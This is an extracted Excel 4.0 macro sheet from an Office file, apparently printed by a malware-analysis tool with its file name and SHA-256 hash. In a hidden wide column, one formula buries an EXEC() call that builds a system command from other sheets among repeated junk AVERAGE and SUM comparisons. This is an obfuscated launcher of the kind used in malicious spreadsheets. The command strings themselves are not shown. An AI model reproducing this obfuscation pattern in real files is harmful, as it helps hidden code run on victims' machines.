<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A98:A104"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="98" spans="1:1" x14ac:dyDescent="0.25"><c r="A98" s="4"/></row><row r="99" spans="1:1" x14ac:dyDescent="0.25"><c r="A99" s="4"/></row><row r="100" spans="1:1" x14ac:dyDescent="0.25"><c r="A100" s="4" t="b"><f>HALT()</f><v>1</v></c></row><row r="101" spans="1:1" x14ac:dyDescent="0.25"><c r="A101" s="4"/></row><row r="102" spans="1:1" x14ac:dyDescent="0.25"><c r="A102" s="4" t="s"><v>26</v></c></row><row r="103" spans="1:1" x14ac:dyDescent="0.25"><c r="A103" s="4"/></row><row r="104" spans="1:1" x14ac:dyDescent="0.25"><c r="A104" s="4"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><headerFooter alignWithMargins="0"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 6156 bytes
SHA-256: 644ddaecdc2c5458cffc5ad58ed19949086a06cf10b478a5857d1c4cd8813551
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A2:AJ108"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="28" width="4.5703125" style="1"/><col min="29" max="29" width="4.5703125" style="1" customWidth="1"/><col min="30" max="30" width="4.5703125" style="1" hidden="1" customWidth="1"/><col min="31" max="33" width="4.5703125" style="1"/><col min="34" max="35" width="4.5703125" style="1" customWidth="1"/><col min="36" max="36" width="255.7109375" style="1" hidden="1" customWidth="1"/><col min="37" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="2" spans="30:36" x14ac:dyDescent="0.25"><c r="AD2" s="4"/><c r="AE2" s="4"/><c r="AF2" s="4"/><c r="AG2" s="4"/><c r="AH2" s="4"/><c r="AI2" s="4"/><c r="AJ2" s="4"/></row><row r="3" spans="30:36" x14ac:dyDescent="0.25"><c r="AD3" s="4"/><c r="AE3" s="4"/><c r="AF3" s="4"/><c r="AG3" s="4"/><c r="AH3" s="4"/><c r="AI3" s="4"/><c r="AJ3" s="4"/></row><row r="4" spans="30:36" x14ac:dyDescent="0.25"><c r="AD4" s="4"/><c r="AE4" s="4"/><c r="AF4" s="4"/><c r="AG4" s="4"/><c r="AH4" s="4"/><c r="AI4" s="4"/><c r="AJ4" s="4"/></row><row r="5" spans="30:36" x14ac:dyDescent="0.25"><c r="AD5" s="4"/><c r="AE5" s="4"/><c r="AF5" s="4"/><c r="AG5" s="4"/><c r="AH5" s="4"/><c r="AI5" s="4"/><c r="AJ5" s="4" t="b"><f>AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=EXEC('Doc3'!$AQ$18&amp;"2 "&amp;'Doc1'!$A$106&amp;'Doc3'!$AQ$19)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)='Doc2'!A100()</f><v>1</v></c></row><row r="6" spans="30:36" x14ac:dyDescent="0.25"><c r="AD6" s="4"/><c r="AE6" s="4"/><c r="AF6" s="4"/><c r="AG6" s="4"/><c r="AH6" s="4"/><c r="AI6" s="4"/><c r="AJ6" s="4"/></row><row r="7" spans="30:36" x14ac:dyDescent="0.25"><c r="AD7" s="4"/><c r="AE7" s="4"/><c r="AF7" s="4"/><c r="AG7" s="4"/><c r="AH7" s="4"/><c r="AI7" s="4"/><c r="AJ7" s="4"/></row><row r="8" spans="30:36" x14ac:dyDescent="0.25"><c r="AD8" s="4"/><c r="AE8" s="4"/><c r="AF8" s="4"/><c r="AG8" s="4"/><c r="AH8" s="4"/><c r="AI8" s="4"/><c r="AJ8" s="4"/></row><row r="9" spans="30:36" x14ac:dyDescent="0.25"><c r="AD9" s="4"/><c r="AE9" s="4"/><c r="AF9" s="4"/><c r="AG9" s="4"/><c r="AH9" s="4"/><c r="AI9" s="4"/><c r="AJ9" s="4"/></row><row r="10" spans="30:36" x14ac:dyDescent="0.25"><c r="AD10" s="4"/><c r="AE10" s="4"/><c r="AF10" s="4"/><c r="AG10" s="4"/><c r="AH10" s="4"/><c r="AI10" s="4"/><c r="AJ10" s="4"/></row><row r="11" spans="30:36" x14ac:dyDescent="0.25"><c r="AD11" s="4" t="b"><f>AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)</f><v>0</v></c><c r="AE11" s="4"/><c r="AF11" s="4"/><c r="AG11" s="4"/><c r="AH11" s="4"/><c r="AI11" s="4"/><c r="AJ11" s="4"/></row><row r="12" spans="30:36" x14ac:dyDescent="0.25"><c r="AD12" s="4"/><c r="AE12" s="4"/><c r="AF12" s="4"/><c r="AG12" s="4"/><c r="AH12" s="4"/><c r="AI12" s="4"/><c r="AJ12" s="4"/></row><row r="13" spans="30:36" x14ac:dyDescent="0.25"><c r="AD13" s="4"/><c r="AE13" s="4"/><c r="AF13" s="4"/><c r="AG13" s="4"/><c r="AH13" s="4"/><c r="AI13" s="4"/><c r="AJ13" s="4"/></row><row r="99" spans="1:1" x14ac:dyDescent="0.25"><c r="A99" s="4"/></row><row r="100" spans="1:1" x14ac:dyDescent="0.25"><c r="A100" s="4" t="s"><v>0</v></c></row><row r="101" spans="1:1" x14ac:dyDescent="0.25"><c r="A101" s="4"/></row><row r="102" spans="1:1" x14ac:dyDescent="0.25"><c r="A102" s="4"/></row><row r="103" spans="1:1" x14ac:dyDescent="0.25"><c r="A103" s="4"/></row><row r="104" spans="1:1" x14ac:dyDescent="0.25"><c r="A104" s="4"/></row><row r="105" spans="1:1" x14ac:dyDescent="0.25"><c r="A105" s="4"/></row><row r="106" spans="1:1" x14ac:dyDescent="0.25"><c r="A106" s="4" t="s"><v>28</v></c></row><row r="107" spans="1:1" x14ac:dyDescent="0.25"><c r="A107" s="4"/></row><row r="108" spans="1:1" x14ac:dyDescent="0.25"><c r="A108" s="4"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>